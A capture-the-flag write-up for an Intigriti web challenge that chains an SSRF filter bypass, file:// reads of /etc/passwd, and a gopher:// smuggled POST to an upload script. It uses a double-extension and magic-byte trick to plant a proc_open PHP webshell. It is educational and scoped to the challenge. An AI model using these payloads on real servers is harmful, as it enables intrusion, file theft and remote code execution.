Intigriti Challenge 1025 Writeup
Scope
https://challenge-1025.intigriti.io/challenge.php
Goal
Get a RCE
First look
The first thing we can notice once we enter the challenge.php
endpoint (which is our main scope), is that we have an input box where we can enter an image URL, next to that, a button, which seems to take the image from that url and preview it as it mentions just above: Just enter a product image URL below and preview the results instantly.
Button request
Lets take a look at the request:
We can see that in order to get the image from the URL we entered, it embeds it in the request URL, as a parameter for the php script challenge.php
. So the server is making a call to that URL in order to show us the image. Therefore, the first thing that comes to mind is that we could try to exploit an SSRF.
Exploiting the SSRF
Essentially, a Server-Side Request Forgery allows an attacker to cause the server-side application to make request to an unintended location, which could be, for example, connections to the server itself. Let’s try it.
Bypassing access protection to localhost
First, I will try to make a request to http://127.0.0.1
:
As you can see, It denies us access to the server. But don’t worry, we are going to try more, there are some other ways to refer to localhost
, here is a list which can help us to bypass this protection.
¡BINGO!
http://127.1:80
is the one which worked. There are more, It also worked with http://0.0.0.0:80
o http://127.127.127.127:80
.
What we can see in the image is the application returning the Intigriti Challenge main’s page html code. This means that we can basically make internal calls to the server.
Accessing internal files
Let’s try to access internal files on the server. To do this, we will try a different protocol than http://
. In this case, we will use file://
so that we can display the contents of internal files. I will try with file:///etc/passwd
.
Oups, It looks like I must include http
in the input. I can’t just simply write http next the url because it will return a malformed input error:
So I can basically pass an empty argument called http
to the URL.
¡BINGO!
It worked, so now, I am going to look up in the
var/www/html
, which is the default directory where all the html files or documents from the web application are saved:
PHP upload file
As you can see, there are some interesting files, although there is one that particularly catches my attention: upload_shoppix_images.php
. Let’s view its content by accessing file:///var/www/html/upload_shoppix_images.php
:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
$tmp = $file['tmp_name'];
$mime = mime_content_type($tmp);
if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
}
}?>
This endpoint allows us to upload .jpg, .jpeg, .png, or .png images. Although later we will see that it is possible to upload files with extensions other than those. We see that the images are uploaded to /uploads, let’s also see what’s inside that folder.
As you can see, some people have already managed to upload a PHP file. We know that our goal is to achieve an RCE, so we are on the right track. It seems that we have to use the upload_shoppix_images.php
script to upload a file to that folder.
Can we access these webshells?
Yes, we can execute code. However, we have to figure out how to upload a webshell to that folder ourselves. Okay, so let’s try to access that part of the application and see what we can do.
Oups, we don’t have permission to access. Okay, we can try to do a 403 bypass. I tried different techniques, but none of them worked. Here is a list of some of the techniques that i used:
- HTTP Method Fuzzing:
GET
,HEAD
,POST
,PUT
,DELETE
,CONNECT
,OPTIONS
,TRACE
- Change
Host
header - Path fuzzing
- HTTP heades fuzzing You can find more information about these techniques here.
How to upload a file with upload_shoppix_images.php
I’ll be honest, I tried many things before arriving at the method I’m about to tell you about. I came up with it thanks to a friend who was trying to solve the challenge with me, and the help of some users on the Discord channel.
One thing was clear: if the goal was to obtain an RCE and we had a PHP script that allowed us to upload files and an uploads
folder where they were uploaded, which already contained some webshells, it was quite clear that somehow we had to manage to send a file to that script so that it would upload it to the uploads
folder.
To achieve this, if we look at upload_shoppix_images.php
code, it has to be called by a POST request with the different data from the file. We’ve exploited an SSRF. We could have the server itself send it for us, since it does have permissions to access that resource.
We are aware of two important limitations:
- We do not have permission to access the
upload_shoppix_images.php
endpoint. - If we look at
challenge.php
(right below) code we see that it sends a GET request along with the URL, so we cannot use SSRF to send a POST to/upload_shoppix_images.php
.
<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (stripos($url, 'http') === false) {
die("<p style='color:#ff5252'>Invalid URL: must include 'http'</p>");
}
if (stripos($url, '127.0.0.1') !== false || stripos($url, 'localhost') !== false) {
die("<p style='color:#ff5252'>Invalid URL: access to localhost is not allowed</p>");
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
echo "<p style='color:#ff5252'>cURL Error: " . curl_error($ch) . "</p>";
} else {
echo "<h3>Fetched content:</h3>";
echo "<pre>" . htmlspecialchars($response) . "</pre>";
}
curl_close($ch);
}?>
What could we do so that the server itself calls the upload_shoppix_images.php
resource using POST? The answer is Gopher
.
Gopher is a communication protocol designed for distributing, searching and retrieving documents in Internet Protocol networks, which can be understood as the predecessor to the HTTP protocol. What interests us most is that it allows us to execute POST requests.
We have a solution that:
- Do not use HTTP protocol
- Allows us to send a POST request inside the url You can read more about this here.
Using gopher://
We want the server to send itself this request:
POST /upload_shoppix_images.php HTTP/1.1
Host: challenge-1025.intigriti.io
Content-Type: multipart/form-data; boundary=----boundary
Content-Length: 163
------boundary
Content-Disposition: form-data; name="image"; filename="lornemalvo.jpg.php"
Content-Type: image/jpeg
<?php phpinfo() ?>
------boundary--
As you can see, I added the extension .jpg.php
to the file because one of the conditions was that the file must have the extension .jpg
, .png
, or .jpeg
. Now we have to URL encode all of this. Before encoding it, there are several things to consider:
- The header content length is very important. If it differs from the content length, the request will fail. To ensure that we have entered the correct length, we can send this request in the Burp Suite repeater, which will automatically update this header for us.
- Please also note that we are using HTTP/1.1.
This is our payload. You can use CipherChef for this:
POST%20%2Fupload%5Fshoppix%5Fimages%2Ephp%20HTTP%2F1%2E1%0D%0AHost%3A%
20challenge%2D1025%2Eintigriti%2Eio%0D%0AContent%2DType%3A%20multipart
%2Fform%2Ddata%3B%20boundary%3D%2D%2D%2D%2Dboundary%0D%0AContent%2DLen
gth%3A%20163%0D%0A%0D%0A%2D%2D%2D%2D%2D%2Dboundary%0D%0AContent%2DDisp
osition%3A%20form%2Ddata%3B%20name%3D%22image%22%3B%20filename%3D%22lo
rnemalvo%2Ejpg%2Ephp%22%0D%0AContent%2DType%3A%20image%2Fjpeg%0D%0A%0D
%0A%3C%3Fphp%20phpinfo%28%29%20%3F%3E%0D%0A%0D%0A%2D%2D%2D%2D%2D%2Dbou
ndary%2D%2D%0D%0A
Therefore, we have to enter the following: gopher://127.1:80/_<payload>
. Gopher uses port 70, so we have to make sure that communication continues to be done through port 80, which is why we have to specify it. On the other hand, we have to add _
right before the POST
method since that is how it works in Gopher.
Let’s try this payload:
If we visit the Upload Insecure Files > Upload Tricks section of Payload All The Things, we will see that, among other things I tried that didn’t work, they talk about Magic Bytes. Sometimes applications identify file types based on their first signature bytes. Well, there they give us three examples for trying to upload images, which is just what we need:
- PNG:
\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
- JPG:
\xff\xd8\xff
- GIF:
GIF87a
ORGIF8;
¡BINGO!
The one that worked for me was GIF87a
:
Uploading the webshell
Let’s check the endpoint uploads/lornemalvo.jpeg.php
:
We will also check if there are any disabled functions that prevent us from executing commands in the webshell. As we can see in the image below, the following functions are disabled:
system
passthru
shell_exec
popen
exec
Okay, we’ll upload a webshell that uses a function that allows us to execute commands and isn’t disabled. I found one with proc_open
:
<?php
if(isset($_GET['c'])){
$p=proc_open($_GET['c'].' 2>&1',
[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],
$pipes
);
echo stream_get_contents($pipes[1]);
proc_close($p);
}
?>
¡BINGO!
Now we have to find the flag. I just ls -l
in the /
path and found this file 93e892fe-c0af-44a1-9308-5a58548abd98.txt
.